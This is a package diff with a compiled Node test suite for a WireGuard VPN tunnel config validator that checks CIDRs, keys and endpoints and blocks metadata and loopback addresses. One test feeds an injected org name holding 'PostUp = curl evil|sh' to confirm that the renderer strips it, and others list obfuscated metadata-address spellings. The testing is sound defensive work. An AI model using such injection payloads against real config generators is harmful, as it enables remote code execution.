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"}

package/dist/vpn-network.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=vpn-network.test.d.ts.map

package/dist/vpn-network.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"vpn-network.test.d.ts","sourceRoot":"","sources":["../src/vpn-network.test.ts"],"names":[],"mappings":""}

package/dist/vpn-network.test.js

@@ -0,0 +1,296 @@
+import { test } from "node:test";
+import assert from "node:assert/strict";
+import { allocateTunnelCidr, cidrsOverlap, formatIpv4, isForbiddenEndpointIpv4, isNonPublicIpv4, isWireguardKey, parseCidr, parseEndpoint, parseIpv4, renderGatewayPeerConfig, tunnelAddresses, validateVpnTunnelConfig, } from "./vpn-network.js";
+// 32 zero bytes, base64 — a syntactically valid WireGuard key.
+const KEY = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+const valid = (over = {}) => ({
+    gatewayEndpoint: "vpn.example.com:51820",
+    gatewayPublicKey: KEY,
+    lanCidrs: ["10.20.0.0/16"],
+    dnsServer: "10.20.0.2",
+    allowedDomains: ["corp.example.com"],
+    tunnelCidr: "169.254.200.0/30",
+    ...over,
+});
+test("parseIpv4/formatIpv4 round-trip and reject malformed or ambiguous input", () => {
+    assert.equal(formatIpv4(parseIpv4("10.20.30.40")), "10.20.30.40");
+    assert.equal(formatIpv4(parseIpv4("255.255.255.255")), "255.255.255.255");
+    for (const bad of ["1.2.3", "256.1.1.1", "1.2.3.4.5", "01.2.3.4", "a.b.c.d", "1.2.3.-4", ""]) {
+        assert.equal(parseIpv4(bad), null, bad);
+    }
+});
+test("parseCidr rejects set host bits, bad prefixes and extra slashes instead of normalizing", () => {
+    assert.deepEqual(parseCidr("10.20.0.0/16"), { network: parseIpv4("10.20.0.0"), prefix: 16 });
+    for (const bad of ["10.20.0.5/16", "10.0.0.0/33", "10.0.0.0", "10.0.0.0/", "10.0.0.0/16/1", "10.0.0.0/-1", "10.0.0.0/ 8"]) {
+        assert.equal(parseCidr(bad), null, bad);
+    }
+    assert.ok(parseCidr("0.0.0.0/0"));
+});
+test("cidrsOverlap is symmetric and handles containment and adjacency", () => {
+    const p = (c) => parseCidr(c);
+    assert.equal(cidrsOverlap(p("10.0.0.0/8"), p("10.20.0.0/16")), true);
+    assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.0.0.0/8")), true);
+    assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.21.0.0/16")), false);
+    assert.equal(cidrsOverlap(p("10.20.0.0/24"), p("10.20.0.0/24")), true);
+});
+test("tunnelAddresses: customer gateway is .1, AppForge side is .2, only for a /30", () => {
+    assert.deepEqual(tunnelAddresses("169.254.200.4/30"), { gateway: "169.254.200.5", local: "169.254.200.6" });
+    assert.equal(tunnelAddresses("169.254.200.0/29"), null);
+    assert.equal(tunnelAddresses("nonsense"), null);
+});
+test("isWireguardKey accepts a canonical 32-byte key and rejects wrong length, charset and non-canonical tails", () => {
+    assert.equal(isWireguardKey(KEY), true);
+    assert.equal(isWireguardKey("AAAA"), false);
+    assert.equal(isWireguardKey(KEY.replace("=", "")), false);
+    assert.equal(isWireguardKey("A".repeat(42) + "B="), false); // low bits of last char set
+    assert.equal(isWireguardKey("!".repeat(43) + "="), false);
+});
+test("parseEndpoint accepts DNS names and public IPv4, rejects internal targets and IPv6 literals", () => {
+    assert.deepEqual(parseEndpoint("VPN.Example.com:51820"), { host: "vpn.example.com", port: 51820 });
+    assert.deepEqual(parseEndpoint("203.0.113.9:443"), { host: "203.0.113.9", port: 443 });
+    for (const bad of [
+        "vpn.example.com",
+        "vpn.example.com:0",
+        "vpn.example.com:70000",
+        "vpn.example.com:abc",
+        "10.0.0.1:51820",
+        "192.168.1.1:51820",
+        "172.16.0.1:51820",
+        "127.0.0.1:51820",
+        "169.254.169.254:51820",
+        "100.64.0.1:51820",
+        "[2001:db8::1]:51820",
+        "localhost:51820",
+        "a.localhost:51820",
+        "singlelabel:51820",
+        "999.1.1.1:51820",
+        "0x7f.0.0.1:51820",
+        "0xa9.0xfe.0xa9.0xfe:51820",
+        "0x0a.1:5",
+        "vpn.example.123:51820",
+        "0xff.example.com:51820",
+    ]) {
+        assert.ok("error" in parseEndpoint(bad), bad);
+    }
+});
+test("validateVpnTunnelConfig accepts a normal config", () => {
+    assert.deepEqual(validateVpnTunnelConfig(valid()), []);
+    assert.deepEqual(validateVpnTunnelConfig(valid({ dnsServer: null, allowedDomains: [] })), []);
+});
+test("validateVpnTunnelConfig refuses default routes, over-broad, loopback, link-local and multicast LANs", () => {
+    for (const lan of ["0.0.0.0/0", "10.0.0.0/7", "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "240.0.0.0/8", "0.0.0.0/8"]) {
+        const errors = validateVpnTunnelConfig(valid({ lanCidrs: [lan], dnsServer: null, allowedDomains: [] }));
+        assert.ok(errors.length > 0, lan);
+    }
+    assert.deepEqual(validateVpnTunnelConfig(valid({ lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
+});
+test("validateVpnTunnelConfig refuses empty, duplicate, malformed and too many LAN CIDRs", () => {
+    assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: [], dnsServer: null, allowedDomains: [] })).length > 0);
+    assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.0/16", "10.1.0.0/16"] })).some((e) => e.includes("more than once")));
+    assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.5/16"] })).length > 0);
+    const many = Array.from({ length: 17 }, (_, i) => `10.${i}.0.0/16`);
+    assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: many, dnsServer: null, allowedDomains: [] })).some((e) => e.includes("at most")));
+});
+test("validateVpnTunnelConfig refuses a tunnel /30 that overlaps a LAN or sits in a reserved range", () => {
+    assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "10.20.5.0/30" })).some((e) => e.includes("overlaps")));
+    assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.200.0/29" })).length > 0);
+    assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.169.252/30" })).length > 0); // cloud metadata
+    assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "127.0.0.0/30" })).length > 0);
+    // A customer who already uses 169.254.200.x on their LAN can't use it for the LAN (link-local is
+    // forbidden there), so the override they'd reach for is a private /30 outside their LAN:
+    assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: "172.31.255.0/30" })), []);
+});
+test("validateVpnTunnelConfig requires the DNS server inside a LAN range and domains to have one", () => {
+    assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "8.8.8.8" })).some((e) => e.includes("inside one of")));
+    assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "not-an-ip" })).length > 0);
+    assert.ok(validateVpnTunnelConfig(valid({ dnsServer: null })).some((e) => e.includes("needs a dnsServer")));
+    assert.ok(validateVpnTunnelConfig(valid({ allowedDomains: ["not a domain"] })).length > 0);
+    assert.deepEqual(validateVpnTunnelConfig(valid({ allowedDomains: ["*.corp.example.com"] })), []);
+});
+test("validateVpnTunnelConfig reports every problem at once", () => {
+    const errors = validateVpnTunnelConfig({
+        gatewayEndpoint: "10.0.0.1",
+        gatewayPublicKey: "short",
+        lanCidrs: ["0.0.0.0/0"],
+        tunnelCidr: "x",
+    });
+    assert.ok(errors.length >= 4, errors.join(" | "));
+});
+test("allocateTunnelCidr returns a /30 in the pool, never the metadata slice, and avoids declared LANs", () => {
+    for (const r of [0, 0.25, 0.5, 0.999999]) {
+        const out = allocateTunnelCidr(["10.0.0.0/8"], () => r);
+        assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: out, lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
+        assert.ok(out.startsWith("169.254."));
+        assert.ok(!out.startsWith("169.254.169."));
+    }
+    // A random source stuck on the metadata slice still terminates with a valid answer.
+    let calls = 0;
+    const out = allocateTunnelCidr([], () => (calls++ < 3 ? 0.15 : 0.9));
+    assert.ok(!out.startsWith("169.254.169."));
+});
+test("allocateTunnelCidr throws rather than looping forever when nothing is free", () => {
+    // A random source that always lands on the same slot, with a LAN covering it.
+    assert.throws(() => allocateTunnelCidr(["169.254.192.0/18"], () => 0.5));
+});
+test("renderGatewayPeerConfig gives the customer a Peer block with our key, PSK and a /32 for our side, and no Endpoint", () => {
+    const text = renderGatewayPeerConfig({
+        orgName: "Acme",
+        tunnelCidr: "169.254.200.0/30",
+        ourPublicKey: KEY,
+        presharedKey: KEY,
+        lanCidrs: ["10.20.0.0/16", "10.30.0.0/16"],
+    });
+    assert.match(text, /\[Peer\]/);
+    assert.match(text, new RegExp(`^PublicKey = ${KEY}$`, "m"));
+    assert.match(text, new RegExp(`^PresharedKey = ${KEY}$`, "m"));
+    assert.match(text, /AllowedIPs = 169\.254\.200\.2\/32/);
+    assert.match(text, /address 169\.254\.200\.1\/30/);
+    assert.match(text, /10\.20\.0\.0\/16, 10\.30\.0\.0\/16/);
+    assert.doesNotMatch(text, /^Endpoint\s*=/m);
+    assert.throws(() => renderGatewayPeerConfig({ orgName: "x", tunnelCidr: "10.0.0.0/24", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: [] }));
+});
+test("renderGatewayPeerConfig can't be made to emit extra stanzas through the org name, keys or LANs", () => {
+    const base = { tunnelCidr: "169.254.200.0/30", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: ["10.20.0.0/16"] };
+    const evil = "Acme\n[Interface]\nPostUp = curl evil|sh\r\n[Peer]\nPublicKey = X\u2028AllowedIPs = 0.0.0.0/0";
+    const text = renderGatewayPeerConfig({ ...base, orgName: evil });
+    // Exactly the one [Peer] we wrote, no [Interface], and nothing but comments around it.
+    assert.equal(text.match(/^\[/gm)?.length, 1);
+    assert.doesNotMatch(text, /^\s*(\[Interface\]|PostUp)/m);
+    for (const line of text.split("\n"))
+        assert.match(line, /^(#|\[Peer\]$|(PublicKey|PresharedKey|AllowedIPs) = [A-Za-z0-9+/=.\/]+$)/);
+    assert.ok(!/[\r\u2028\u2029]/.test(text));
+    assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", ourPublicKey: `${KEY}\nPostUp = x` }));
+    assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", presharedKey: "nope" }));
+    assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", lanCidrs: ["10.0.0.0/8\nPostUp = x"] }));
+    // A name that is nothing but junk still yields a sensible header.
+    assert.match(renderGatewayPeerConfig({ ...base, orgName: "\n\n\t" }), /for your organization/);
+    // Ordinary punctuation and non-ASCII letters survive.
+    assert.match(renderGatewayPeerConfig({ ...base, orgName: "Müller & Söhne (EE)" }), /for Müller & Söhne \(EE\)/);
+});
+test("isNonPublicIpv4 flags every range a customer gateway can never legitimately be in, and passes public addresses", () => {
+    for (const ip of ["0.0.0.1", "10.1.2.3", "100.64.0.1", "100.127.255.255", "127.0.0.1", "169.254.169.254", "172.16.0.1", "172.31.255.255", "192.168.1.1", "224.0.0.1", "239.255.255.255", "240.0.0.1", "255.255.255.255"]) {
+        assert.equal(isNonPublicIpv4(parseIpv4(ip)), true, ip);
+    }
+    for (const ip of ["8.8.8.8", "1.1.1.1", "203.0.113.9", "172.15.255.255", "172.32.0.1", "100.63.255.255", "100.128.0.1", "192.169.0.1"]) {
+        assert.equal(isNonPublicIpv4(parseIpv4(ip)), false, ip);
+    }
+});
+// ───────────── lab mode (allowPrivate): private endpoints, forbidden set intact ─────────────
+const FORBIDDEN_IPS = [
+    "0.0.0.0", "0.1.2.3", "0.255.255.255",
+    "127.0.0.1", "127.255.255.255", "127.1.2.3",
+    "169.254.0.1", "169.254.169.254", "169.254.192.1", "169.254.255.255",
+    "224.0.0.1", "239.255.255.255", "240.0.0.1", "255.255.255.255",
+];
+const LAB_OK_IPS = [
+    "10.0.0.1", "10.255.255.255", "172.16.0.1", "172.31.255.255", "192.168.0.1", "192.168.1.50",
+    "100.64.0.1", "100.127.255.255", "8.8.8.8", "203.0.113.9",
+];
+test("isForbiddenEndpointIpv4 covers exactly loopback, link-local, multicast/reserved and 0/8 — with exact range edges", () => {
+    for (const ip of FORBIDDEN_IPS)
+        assert.equal(isForbiddenEndpointIpv4(parseIpv4(ip)), true, ip);
+    for (const ip of LAB_OK_IPS)
+        assert.equal(isForbiddenEndpointIpv4(parseIpv4(ip)), false, ip);
+    // Neighbours of each forbidden block are NOT forbidden.
+    for (const ip of ["1.0.0.0", "126.255.255.255", "128.0.0.0", "169.253.255.255", "169.255.0.0", "223.255.255.255"]) {
+        assert.equal(isForbiddenEndpointIpv4(parseIpv4(ip)), false, ip);
+    }
+});
+test("isForbiddenEndpointIpv4 is a strict subset of isNonPublicIpv4 (lab mode can only relax, never newly allow something unsafe)", () => {
+    // Sweep every /16 base plus a few interior points across the whole space.
+    for (let hi = 0; hi < 256; hi++) {
+        for (let mid = 0; mid < 256; mid += 17) {
+            for (const lo of [0, 1, 254, 255]) {
+                const ip = hi * 2 ** 24 + mid * 2 ** 16 + lo;
+                if (isForbiddenEndpointIpv4(ip))
+                    assert.equal(isNonPublicIpv4(ip), true, formatIpv4(ip));
+            }
+        }
+    }
+    // And the relaxation is exactly RFC1918 + CGNAT.
+    const relaxed = (ip) => isNonPublicIpv4(parseIpv4(ip)) && !isForbiddenEndpointIpv4(parseIpv4(ip));
+    for (const ip of ["10.9.9.9", "172.20.1.1", "192.168.9.9", "100.100.100.100"])
+        assert.equal(relaxed(ip), true, ip);
+    for (const ip of ["8.8.8.8", "127.0.0.1", "169.254.169.254"])
+        assert.equal(relaxed(ip), false, ip);
+});
+test("parseEndpoint without allowPrivate is unchanged: every private literal is refused", () => {
+    for (const ip of ["10.0.0.1", "172.16.0.1", "172.31.0.1", "192.168.1.50", "100.64.0.1", ...FORBIDDEN_IPS]) {
+        assert.ok("error" in parseEndpoint(`${ip}:51820`), ip);
+        assert.ok("error" in parseEndpoint(`${ip}:51820`, {}), ip);
+        assert.ok("error" in parseEndpoint(`${ip}:51820`, { allowPrivate: false }), ip);
+    }
+});
+test("parseEndpoint with allowPrivate accepts RFC1918 and CGNAT literals", () => {
+    for (const ip of ["10.0.0.1", "10.255.255.255", "172.16.0.1", "172.31.255.255", "192.168.1.50", "100.64.0.1", "100.127.255.255"]) {
+        assert.deepEqual(parseEndpoint(`${ip}:51820`, { allowPrivate: true }), { host: ip, port: 51820 }, ip);
+    }
+    // Public literals and DNS names stay fine too.
+    assert.deepEqual(parseEndpoint("203.0.113.9:443", { allowPrivate: true }), { host: "203.0.113.9", port: 443 });
+    assert.deepEqual(parseEndpoint("Gw.Lab.Example.com:51820", { allowPrivate: true }), { host: "gw.lab.example.com", port: 51820 });
+});
+test("parseEndpoint with allowPrivate still refuses loopback, link-local/metadata, multicast/reserved and 0/8, and says which", () => {
+    for (const ip of FORBIDDEN_IPS) {
+        const r = parseEndpoint(`${ip}:51820`, { allowPrivate: true });
+        assert.ok("error" in r, ip);
+        assert.match(r.error, /loopback, link-local.*multicast.*0\.0\.0\.0\/8/, ip);
+        assert.match(r.error, /even when private endpoints are allowed/, ip);
+    }
+    // The default-mode wording is untouched.
+    const plain = parseEndpoint("192.168.1.50:51820");
+    assert.match(plain.error, /publicly reachable/);
+});
+test("parseEndpoint with allowPrivate still refuses every adversarial spelling of a forbidden address", () => {
+    for (const bad of [
+        // inet_aton shorthand / hex / octal / decimal: resolvers read these as loopback or metadata.
+        "0x7f.0.0.1:51820",
+        "0xa9.0xfe.0xa9.0xfe:51820",
+        "0x0a.1:5",
+        "0177.0.0.1:51820",
+        "2130706433:51820",
+        "0xa9fea9fe:51820",
+        "127.1:51820",
+        "169.254.43518:51820",
+        "01.2.3.4:51820",
+        "127.000.000.001:51820",
+        // IPv6 forms, including mapped loopback/metadata.
+        "[::1]:51820",
+        "::1:51820",
+        "[::ffff:127.0.0.1]:51820",
+        "[::ffff:169.254.169.254]:51820",
+        "[::ffff:192.168.1.50]:51820",
+        // localhost spellings.
+        "localhost:51820",
+        "LOCALHOST:51820",
+        "a.localhost:51820",
+        // Not a host at all.
+        "192.168.1.50",
+        "192.168.1.50:0",
+        "192.168.1.50:65536",
+        " 192.168.1.50:51820",
+        "192.168.1.50 :51820",
+        "192.168.1.50.:51820",
+        "192.168.1.256:51820",
+        "999.1.1.1:51820",
+    ]) {
+        assert.ok("error" in parseEndpoint(bad, { allowPrivate: true }), bad);
+    }
+});
+test("validateVpnTunnelConfig threads allowPrivate to the endpoint check only", () => {
+    const priv = valid({ gatewayEndpoint: "192.168.1.50:51820" });
+    assert.equal(validateVpnTunnelConfig(priv).length, 1);
+    assert.match(validateVpnTunnelConfig(priv)[0], /publicly reachable/);
+    assert.deepEqual(validateVpnTunnelConfig(priv, { allowPrivate: true }), []);
+    assert.deepEqual(validateVpnTunnelConfig(valid({ gatewayEndpoint: "100.64.1.1:51820" }), { allowPrivate: true }), []);
+    for (const ip of ["169.254.169.254", "127.0.0.1", "0.0.0.0", "224.0.0.1", "255.255.255.255"]) {
+        const errs = validateVpnTunnelConfig(valid({ gatewayEndpoint: `${ip}:51820` }), { allowPrivate: true });
+        assert.equal(errs.length, 1, ip);
+        assert.match(errs[0], /even when private endpoints are allowed/, ip);
+    }
+    // Nothing else is relaxed: a bad key, LAN and tunnel are still reported alongside.
+    const errs = validateVpnTunnelConfig(valid({ gatewayEndpoint: "192.168.1.50:51820", gatewayPublicKey: "nope", lanCidrs: ["0.0.0.0/0"] }), { allowPrivate: true });
+    assert.ok(errs.some((e) => /gatewayPublicKey/.test(e)));
+    assert.ok(errs.some((e) => /too broad/.test(e)));
+    assert.ok(!errs.some((e) => /gatewayEndpoint/.test(e)));
+});
+//# sourceMappingURL=vpn-network.test.js.map